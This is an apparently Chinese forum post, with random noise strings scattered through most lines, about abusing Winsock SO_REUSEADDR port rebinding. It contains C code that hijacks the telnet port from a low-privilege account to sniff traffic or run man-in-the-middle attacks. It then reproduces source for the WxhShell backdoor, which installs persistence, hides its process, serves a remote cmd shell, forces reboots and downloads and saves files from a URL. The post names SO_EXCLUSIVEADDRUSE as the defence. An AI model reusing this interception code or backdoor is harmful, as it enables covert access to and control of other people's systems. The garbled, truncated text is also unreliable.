在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
9&$y}Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tIWmp30S xs{3pkTYD saddr.sin_family = AF_INET;
]N~2 .h =mO vs saddr.sin_addr.s_addr = htonl(INADDR_ANY);
GA$V0YQX .T}Wdng bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
QVv#fy1"6 P}Gj%4/G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M,j U}yD3 %:M^4~dc 这意味着什么?意味着可以进行如下的攻击:
${<%" hR$ W =D4r 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)MtF23k)g 4-l8,@9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
.iYJr;9`d @KXV%a' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
G~F b B7VH<;Z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.yMEIUm OC_+("N 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~k"=4j9 piJu+tUy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~Q Oe## F|IAiE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
lS"T4 5 ^ sOQi6pL #include
<ykU6=
#include
E~DQ-z #include
uu-PJTNZ #include
h\$$JeSV] DWORD WINAPI ClientThread(LPVOID lpParam);
#Vnkvvv int main()
kDEXN {
x,'(5* WORD wVersionRequested;
iJ ($YvF4 DWORD ret;
Y[ j6u\y WSADATA wsaData;
f&=AA@jLv BOOL val;
XPavReGf SOCKADDR_IN saddr;
h&M{]E9= SOCKADDR_IN scaddr;
\S"is z int err;
.r|tSfm6 SOCKET s;
j%Y#(Q> SOCKET sc;
=Z{O<xw' int caddsize;
)\1@V+!E% HANDLE mt;
K='z G*$l DWORD tid;
/74QMx? wVersionRequested = MAKEWORD( 2, 2 );
;nI] !g: err = WSAStartup( wVersionRequested, &wsaData );
)~GmU9f if ( err != 0 ) {
#%pI(,o= printf("error!WSAStartup failed!\n");
h8x MI return -1;
&9.C l;I }
o$wEEz*4 saddr.sin_family = AF_INET;
7z%L*z8V C>ICu*PW //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~Z -Vs j:Xq1f6a saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
yjO1 Ol saddr.sin_port = htons(23);
.Hescg/S if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Rm2yPuOU}A {
~G)S
printf("error!socket failed!\n");
I
)~GZ return -1;
;d@#XIS&-( }
!`M,XSp( val = TRUE;
t0( A4E //SO_REUSEADDR选项就是可以实现端口重绑定的
ZAW^/bo< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9#23FK {
Yc`o5Q\> printf("error!setsockopt failed!\n");
Fh)IgzFj return -1;
48J@CvU }
C0sX gM //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
jkQ*D(;p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
t^UxR@l<K| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ud63f`W]4 JL`-0P<M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
z$&{:\hj {
`A,-@`p ret=GetLastError();
#{6{TFx\ printf("error!bind failed!\n");
l?\jB\, return -1;
pg6cF }
Z@yW bjE7Z listen(s,2);
3>3 Kwc~E while(1)
9G9t" { {
?Lx24*5% caddsize = sizeof(scaddr);
ww)<E`eGi //接受连接请求
-r!. 9q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
dydc}n if(sc!=INVALID_SOCKET)
.fn\]rUv {
@tF\p
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
bc*X/). if(mt==NULL)
<NHH^M\N {
R$EW4]j printf("Thread Creat Failed!\n");
XP`Nf)3{Yd break;
9,c(ysv" }
I^* Nqqq }
0!D4pvlt CloseHandle(mt);
>|J`s~? }
\0A3]l closesocket(s);
hl;u'_AB WSACleanup();
W}nlRbN? return 0;
50"pbzW }
xv46r=> DWORD WINAPI ClientThread(LPVOID lpParam)
O8f?; ] {
m\;R2"H% SOCKET ss = (SOCKET)lpParam;
l(yZO$ SOCKET sc;
Y`KqEjsC* unsigned char buf[4096];
LmRy1T,act SOCKADDR_IN saddr;
Dxtp2wu%t long num;
@MoKWfc DWORD val;
B[qzUD*P_n DWORD ret;
f@6QvkIa //如果是隐藏端口应用的话,可以在此处加一些判断
e*sfPHt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
HsxVZ.dS saddr.sin_family = AF_INET;
X
enE^e+9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|O3q@ saddr.sin_port = htons(23);
8aZ=?_gvT if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cv8L-Z>x.= {
2v :]tj printf("error!socket failed!\n");
Pi=+/} return -1;
;$HftG>B }
.28<tEf val = 100;
YP
6`L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-<6\1J {
} j<)L, ret = GetLastError();
__uA}fZp return -1;
_,kj:R. }
/pm]BC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
97Lte5c6r {
rr/B=O7 ret = GetLastError();
XWnVgY s return -1;
5CuuG<0 }
X3(tuqmi if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
a,Sw4yJ!Q {
=NpYFKmMhV printf("error!socket connect failed!\n");
FW.7'7G@n closesocket(sc);
84$nT>c closesocket(ss);
?xA:@:l/ return -1;
XFg9P}" }
m)8BgCy while(1)
v0ujdp,B {
vx\r!] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ih)zG //如果是嗅探内容的话,可以再此处进行内容分析和记录
$Y;U[_l# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
v/@^Q1G/: num = recv(ss,buf,4096,0);
#akpXdXs if(num>0)
-N6f1>}pE send(sc,buf,num,0);
;
a/X< else if(num==0)
9K.Vb1& break;
`CBZhI%% num = recv(sc,buf,4096,0);
"/yC@VC> if(num>0)
!1rlN8w(qr send(ss,buf,num,0);
s:?SF. else if(num==0)
+ndaLhj' break;
Y)1PB+ }
lvdf^b/
j closesocket(ss);
A8xvo/n$ closesocket(sc);
v>:Ur}u!D return 0 ;
f<
ia(d }
>q#rw _uWpJhCT B3: ez
jj ==========================================================
B#exHf8 w2;eh]k 下边附上一个代码,,WXhSHELL
?:pP8/y ~Uj=^leYO ==========================================================
;m0~L=w :Hn6b$Vy8 #include "stdafx.h"
:uP,f<=)K kh!FR u h #include <stdio.h>
[O$Wa:< 0x #include <string.h>
VdPtPq1 #include <windows.h>
?OId\'q #include <winsock2.h>
O $LfuL #include <winsvc.h>
rr+|Zt
Y #include <urlmon.h>
V n7*JS NYt&@Z}] #pragma comment (lib, "Ws2_32.lib")
j@=%_^:i #pragma comment (lib, "urlmon.lib")
R}'bP R(!s #define MAX_USER 100 // 最大客户端连接数
UXeN 8 #define BUF_SOCK 200 // sock buffer
;"KJ7p #define KEY_BUFF 255 // 输入 buffer
mkMq yu;+o3WlK #define REBOOT 0 // 重启
t!* ?dr #define SHUTDOWN 1 // 关机
kv]~'Srk cT<1V!L4 #define DEF_PORT 5000 // 监听端口
6,o~\8ia l2`s! ,<>O #define REG_LEN 16 // 注册表键长度
"K ~ #define SVC_LEN 80 // NT服务名长度
k;2GEa]w wZG\>9~ // 从dll定义API
l-fi%Z7C typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5k!g%sZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
* ;-*x6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
+?F[/?s5qz typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-1
FPkp LE&RY[ // wxhshell配置信息
W_||6LbZy struct WSCFG {
a!ud{Dx int ws_port; // 监听端口
46$._h
P char ws_passstr[REG_LEN]; // 口令
a<@1-j< int ws_autoins; // 安装标记, 1=yes 0=no
ztnFhJ<a$ char ws_regname[REG_LEN]; // 注册表键名
MPCBT!o4Z char ws_svcname[REG_LEN]; // 服务名
M:XSQ["6>V char ws_svcdisp[SVC_LEN]; // 服务显示名
U [*FCD!~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
qT,Te char ws_passmsg[SVC_LEN]; // 密码输入提示信息
fg
s!v7 int ws_downexe; // 下载执行标记, 1=yes 0=no
5"^en# ?9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:imW\@u char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?Q sQnQ 'GB.UKlR };
YbR!+ 0\g +lm{Olm'^ // default Wxhshell configuration
4F)-"ck struct WSCFG wscfg={DEF_PORT,
.)RzT9sg "xuhuanlingzhe",
vo`2\R. 1,
05z,b]>l "Wxhshell",
kr+D,h01 "Wxhshell",
6tB+J F "WxhShell Service",
E;,u2[3 "Wrsky Windows CmdShell Service",
$g/SWq "Please Input Your Password: ",
.}&`TU 1,
}
uO);k5H "
http://www.wrsky.com/wxhshell.exe",
e7@ojOQ% "Wxhshell.exe"
0vFD3}~> };
FQm`~rA~zt Qi^Z11 // 消息定义模块
<L`KzaA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
4\y/'`xm)6 char *msg_ws_prompt="\n\r? for help\n\r#>";
2w59^"<, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
mlixIW2 char *msg_ws_ext="\n\rExit.";
?a8^1: char *msg_ws_end="\n\rQuit.";
<d,b '<z
s char *msg_ws_boot="\n\rReboot...";
LwrUQ) char *msg_ws_poff="\n\rShutdown...";
cFaaLUZk char *msg_ws_down="\n\rSave to ";
Jzj1w}?H M1 :uJkO. char *msg_ws_err="\n\rErr!";
b8~Bazk char *msg_ws_ok="\n\rOK!";
C3*gn}[ I2TaT(e\ char ExeFile[MAX_PATH];
d_CKP"TA int nUser = 0;
0>C T=(A HANDLE handles[MAX_USER];
n.T&}ZPz\v int OsIsNt;
o4j[p3$ cimp/n" SERVICE_STATUS serviceStatus;
%{ABaeb] SERVICE_STATUS_HANDLE hServiceStatusHandle;
d^RxQuA IHe/xQ@ // 函数声明
$8;R[SU6Y int Install(void);
u2[iM d int Uninstall(void);
rQk<90Ar int DownloadFile(char *sURL, SOCKET wsh);
K!:azP,bZ int Boot(int flag);
oz AS[B6 void HideProc(void);
'{E@*T/<. int GetOsVer(void);
8WtsKOno int Wxhshell(SOCKET wsl);
X<i^qoV void TalkWithClient(void *cs);
7{e% u# int CmdShell(SOCKET sock);
!>v2i" int StartFromService(void);
{wO3<9 int StartWxhshell(LPSTR lpCmdLine);
L0*nm.1X ^c<ucv6. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
wLmhy, VOID WINAPI NTServiceHandler( DWORD fdwControl );
]4~lYuI4 K#EvFs`s; // 数据结构和表定义
V@Rrn <l SERVICE_TABLE_ENTRY DispatchTable[] =
E^QlJ8 {
#OIcLEn% {wscfg.ws_svcname, NTServiceMain},
aEM %R<e {NULL, NULL}
s}j{#xT };
A9f)tqbc uxW~uEh // 自我安装
Z9MdD>uwi int Install(void)
%C$%!C {
kgnmGuka char svExeFile[MAX_PATH];
&0='r;*i HKEY key;
3|WWo1 strcpy(svExeFile,ExeFile);
!u_Y7i3^ [pl'| B // 如果是win9x系统,修改注册表设为自启动
v\!Be[ ? if(!OsIsNt) {
7l'6gg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
OZx
W?wnd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2Or'c`| RegCloseKey(key);
|zR8rqBX; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=; ^%(%Y{m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gg[WlRQK4A RegCloseKey(key);
fG}tMSI return 0;
\Kl+ 5%L }
V^JV4 `o }
/e7O$L)
}
3{ LP?w:@ else {
fIj|4a+ T^ w36}a // 如果是NT以上系统,安装为系统服务
}2(,K[? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
(IC]?n} if (schSCManager!=0)
yHs-h
{
8S%52W| SC_HANDLE schService = CreateService
F{EnOr`,m= (
Q,p}:e schSCManager,
CZ(/=3,3n wscfg.ws_svcname,
?**+e%$$ wscfg.ws_svcdisp,
4G$|Rx[{, SERVICE_ALL_ACCESS,
]<H&+ &! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ZkA U17f SERVICE_AUTO_START,
>;L6xt3 SERVICE_ERROR_NORMAL,
0|$v-`P$ svExeFile,
CPP`
qt%f NULL,
nyBJb(5"B NULL,
c/zJv*}x? NULL,
Cz72?[6 NULL,
+)j$|x~(A NULL
c%&:6QniZ );
!'mq ?C= if (schService!=0)
_acE:H {
I
6<*X CloseServiceHandle(schService);
Bm"KOr$}- CloseServiceHandle(schSCManager);
1jy9lP= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
I 4,K43| strcat(svExeFile,wscfg.ws_svcname);
NbC@z9Q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#Yr9AVr}K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
c:-!'l$ ! RegCloseKey(key);
Z2TL #@ return 0;
kB'Fkqwm }
Eve.QAl| }
mMb'@ CloseServiceHandle(schSCManager);
UG)8D5 }
QS{1CC9$ }
W0epAGrB 3~}uqaGt return 1;
T{Sb^-H#X }
/RHo1 /[Z,MG // 自我卸载
GG@md_ int Uninstall(void)
s}jHl8 {
F'B8v3 HKEY key;
J]&y$?C 4F{)i if(!OsIsNt) {
fcNL$U&-,i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`FYv3w2 RegDeleteValue(key,wscfg.ws_regname);
XVKfl3'% RegCloseKey(key);
5]HS^II" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tZ^Ou89:rG RegDeleteValue(key,wscfg.ws_regname);
@1DX RegCloseKey(key);
87=^J
xy return 0;
bzX\IrJpOZ }
GlbySD@ }
dHK`eS$sb }
wvbPnf^y else {
e XfZ5(na 7VMvF/ap]u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
u86"Y^d# if (schSCManager!=0)
xKQ+{"?-^g {
*M$0J'-BQ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gF$V$cU if (schService!=0)
Aj2OkD {
~ECD`N<YF if(DeleteService(schService)!=0) {
QNARkYY~| CloseServiceHandle(schService);
qe!fk?T} CloseServiceHandle(schSCManager);
=Qgt${| return 0;
h"_~7jq" }
AwslWkd= CloseServiceHandle(schService);
\/1<E?Q
f }
Td G!&:> CloseServiceHandle(schSCManager);
/c2w/+ _ }
d4nH_? }
L
]w/P| GDD '[; return 1;
.h9l7
nZt }
" )V130< %*&UJpbA // 从指定url下载文件
o>7ts&rk int DownloadFile(char *sURL, SOCKET wsh)
i K12pw {
S(uf(q|{ HRESULT hr;
hi0R.V& char seps[]= "/";
L+CyQq char *token;
TZ2=O<Kj char *file;
:'*DPB- char myURL[MAX_PATH];
7vABq( char myFILE[MAX_PATH];
( YQWbOk ;gs
^%z strcpy(myURL,sURL);
E;1Jh(58)b token=strtok(myURL,seps);
I_xXDr while(token!=NULL)
2n `S5(V {
=k/IaFg 6w file=token;
b^p"|L token=strtok(NULL,seps);
fH)YFn/ }
1qf!DMcdZ (iRide GetCurrentDirectory(MAX_PATH,myFILE);
I =1+h strcat(myFILE, "\\");
/w]!wM strcat(myFILE, file);
R1& [S/ send(wsh,myFILE,strlen(myFILE),0);
ap{2$k , send(wsh,"...",3,0);
O9g{+e` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
:%sXO if(hr==S_OK)
FIbp"~ return 0;
TpHfS]W-P else
s%2v3eb return 1;
CT1ja.\; gS:A'@& }
2D:fJ~|-[ S-YM%8A[ // 系统电源模块
|]aE<`D int Boot(int flag)
_L@2_#h! {
<x&%~6j HANDLE hToken;
Tp0bS TOKEN_PRIVILEGES tkp;
5cEcTJL[C Y_]De3:V0B if(OsIsNt) {
1!.(4gV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
hs?sGr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
WdnIp! tkp.PrivilegeCount = 1;
:"l-KQ0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\#rIQOPl? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Vo7dAHHL if(flag==REBOOT) {
%s&ChM?8F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>-O/U5<! return 0;
xY$iz)^0& }
Y}[ c^$S else {
<}sq?Sfq! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;>AL`M+ return 0;
ONCnVjZ }
YSj+\Z$( }
P1NJ^rX else {
-CRQp1] if(flag==REBOOT) {
gq"gUaz if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Y;)dct return 0;
Dc+'<" }
ixV0|P8,c else {
r YF #^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}=|!:kiE return 0;
?_v{|
YI= }
V13BB44 }
@c~)W8 RGK8'i/X return 1;
Q6XRsFc }
a&k_=/X& lt_']QqU // win9x进程隐藏模块
XfKo A0 void HideProc(void)
V~
TWKuR {
TO-nD> ,:%"-`a% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
P<Zh XN' if ( hKernel != NULL )
lw :`M2P, {
NNF>Xa`9, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
e{KByFl ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
LC})ciWa FreeLibrary(hKernel);
>/#KI~}'N }
_ib"b# #BQ.R, return;
$z$u{ }
7c;9$j jr)7kP@ // 获取操作系统版本
Ed:eGm } int GetOsVer(void)
0x9x@gF {
iA,kX\nK OSVERSIONINFO winfo;
>OP+^^oZ< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
f"(X(1F GetVersionEx(&winfo);
c5Q<$86 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&|aqP
\Q5 return 1;
(708H_ else
c)Ic#<e( return 0;
DaH?@Q }
gZEi]/8_ 5"/J^"!h // 客户端句柄模块
Lgz$]Jbl8 int Wxhshell(SOCKET wsl)
2jbIW* {
$46{<4. SOCKET wsh;
-!)xQvagD. struct sockaddr_in client;
!I\!;b DWORD myID;
&h~Xq^ 4HAp{a1 while(nUser<MAX_USER)
||zb6|7I4 {
:iiw3#] int nSize=sizeof(client);
>I<r)w] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)?2e if(wsh==INVALID_SOCKET) return 1;
#eN{!Niy&U ,KJw|x4}\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@
a4/ELx if(handles[nUser]==0)
z`6fotL closesocket(wsh);
L.T?}o else
Q`#4W3-, nUser++;
2Sq_Tw3^ }
jY6MjZI WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
cD4
kC>P* TM8=U-A return 0;
huudBc
A[ }
5`]UE7gT [DHoGy,P // 关闭 socket
p7ir*r/2 void CloseIt(SOCKET wsh)
c>1RP5vx {
ZvGgmLN closesocket(wsh);
UA~RK2k? nUser--;
!m(4F(!"h ExitThread(0);
]hud4i~ }
>|Q:g,I NWfAxkz{/ // 客户端请求句柄
?k[p<Uo void TalkWithClient(void *cs)
x"4} isp< {
ez3Z3t`
Ke-)vPc SOCKET wsh=(SOCKET)cs;
Wy]^Ub gW char pwd[SVC_LEN];
,&Wn [G<2 char cmd[KEY_BUFF];
b.O9ITR char chr[1];
J4=_w int i,j;
81%8{yn!$" =V97;kq+v while (nUser < MAX_USER) {
&ff&Y.q~ WhBpv(q}. if(wscfg.ws_passstr) {
^2odr \ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H +bdsk //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
O g%U //ZeroMemory(pwd,KEY_BUFF);
fnCItK~y i=0;
<e%F^#y_
while(i<SVC_LEN) {
J!ntXF f&4,?E;6% // 设置超时
LzDI0a. fd_set FdRead;
L5IbExjV struct timeval TimeOut;
<As9>5|% FD_ZERO(&FdRead);
g`k?AM\ FD_SET(wsh,&FdRead);
a4gi,pz$] TimeOut.tv_sec=8;
pbHsR^ TimeOut.tv_usec=0;
rs=q!
P"u[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QHBtWQgS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
7{oe ->r YYg) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
~Cc.cce5 pwd
=chr[0]; T88Y
qI
if(chr[0]==0xd || chr[0]==0xa) { QIB>rQCceo
pwd=0; IgL_5A
break; xKOq[d/8
} 7:NmCpgL!
i++; RQW6N??C
} 5~XN>>hp
":Edu,6O
// 如果是非法用户,关闭 socket gLE7Edcp6V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2h
{q h
} [O
",
vQ@2FZzu>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >yJ-4lgZ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w(nHD*nm
N"[B=fU}
while(1) {
,%#
V+wH?H=
ZeroMemory(cmd,KEY_BUFF); E{Pgf8
]7AX%EG3
// 自动支持客户端 telnet标准 lz |
64J
j=0; }iBC@`mg(
while(j<KEY_BUFF) { _L.n,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); % 0:p)Z0
cmd[j]=chr[0]; vOI[Z0Lq9h
if(chr[0]==0xa || chr[0]==0xd) { -m 5}#P89
cmd[j]=0; *B)yy[8j+
break; ;P?q2jI
} FrTg4
j++; M] V.!z9B
} {Z{o"56f
'_+9y5
// 下载文件 ^b?2N/m@
if(strstr(cmd,"http://")) { 24\gbv<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [IM%b~j(^
if(DownloadFile(cmd,wsh)) "L&k)J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g+zJ?
else MN=
sIP,zk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JbQZ!+
} a?cn9i)#
else { 5iFV;W
VFD%h
}
switch(cmd[0]) { MN;/*t
cJ}QXuuUv
// 帮助 nw'-`*'rj
case '?': { CidM(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eo#^L}
break; #$'"cfRxc
} BZ+-p5]-
// 安装 w3*-^: ?j
case 'i': { \X}8q
if(Install()) S9Y[4*//
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YwT-T,oD
else _EYB
8e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FJM;X-UOY
break; y)J(K*x/$
} wod/&!)]A
// 卸载 KAA3iA@>+
case 'r': { ^Ip3A
if(Uninstall()) 3=4SGt5m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1|y$~R.H
else Nofu7xiDw[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?H;{~n?
break; cHvF* A
} T.?k>Ak
// 显示 wxhshell 所在路径 /nB'kg[h\
case 'p': { uOk%AL>
char svExeFile[MAX_PATH]; Mn^zYW|(
strcpy(svExeFile,"\n\r"); f$xhb3Qn
strcat(svExeFile,ExeFile); +/'<z
send(wsh,svExeFile,strlen(svExeFile),0); )q?$p9
break; z)L}ECZh9
} .{rbw9
// 重启 7|D|4!i2Y
case 'b': { $@[)nvV\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =q
CF%~
if(Boot(REBOOT)) D,W\ gP/h%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hFb
fNB3
else { Z(!pYhLq
closesocket(wsh); )@PnTpL*
ExitThread(0); 0g(6r-2)7
} [Z}B"
break; T[Q"}&bB
} Gi$gtLtNh
// 关机 bejGfc
case 'd': { wa3F
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |+E KF.K
if(Boot(SHUTDOWN)) L~0&
Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $iJnxqn
else { V,4.$<e
closesocket(wsh); 6Dzs? P
ExitThread(0); LDX*<(
} Jh2Wr!5
break; C-#.RI7
} ?eWJa
// 获取shell ^e9aD9
case 's': { yz)ESQ~va
CmdShell(wsh); &6"P7X
closesocket(wsh); lCFU1 GHH
ExitThread(0); h(:<(o@<
break; i:Mc(mW
} lBiovT
// 退出 ep?:;98|t
case 'x': { 0$Ff#8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _g6wQdxT
CloseIt(wsh); |zMqJ.qu
break; jU$Y>S>l
} 0BC`iql5
// 离开 zzf7S%1I
case 'q': { swZpWC
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5#u.pu
closesocket(wsh); 3X'WR]
WSACleanup(); eY3=|RR
exit(1); i_Ar<9a~
break; ?M"HXu
} IQ{?_'
} UX}*X`{
} 3}4#I_<$F@
@&:VKpu\
// 提示信息 )5i*/I\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p":@>v?
} )k%M.{&bji
} u9}!Gq
\dNhzd#
return; qBiyGlu4
} x^2 W?<
cdp{W
// shell模块句柄 w b+<a
int CmdShell(SOCKET sock) W?PWJkIw
{ 0WS|~?OR@
STARTUPINFO si; BGpk&.J
ZeroMemory(&si,sizeof(si)); uHrb:X!q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @U7Dunu*f
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 51/sTx<Z}
PROCESS_INFORMATION ProcessInfo; Vj7Hgc-,
char cmdline[]="cmd"; nt`<y0ta
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |8;?
*s`H
return 0; i@{*O@m
} >nNl^ yqW
T{;=#rG<
// 自身启动模式 =+(Q.LmhC
int StartFromService(void) `t9.xB#Z
{ !&0a<~Wi
typedef struct {9{J^@ @
{ $O]^Xm3{@
DWORD ExitStatus; g
2#F_
DWORD PebBaseAddress; $[w|oAwi
DWORD AffinityMask;
3se$,QmN
DWORD BasePriority; H
oS|f0
ULONG UniqueProcessId; 5%qH7[dx
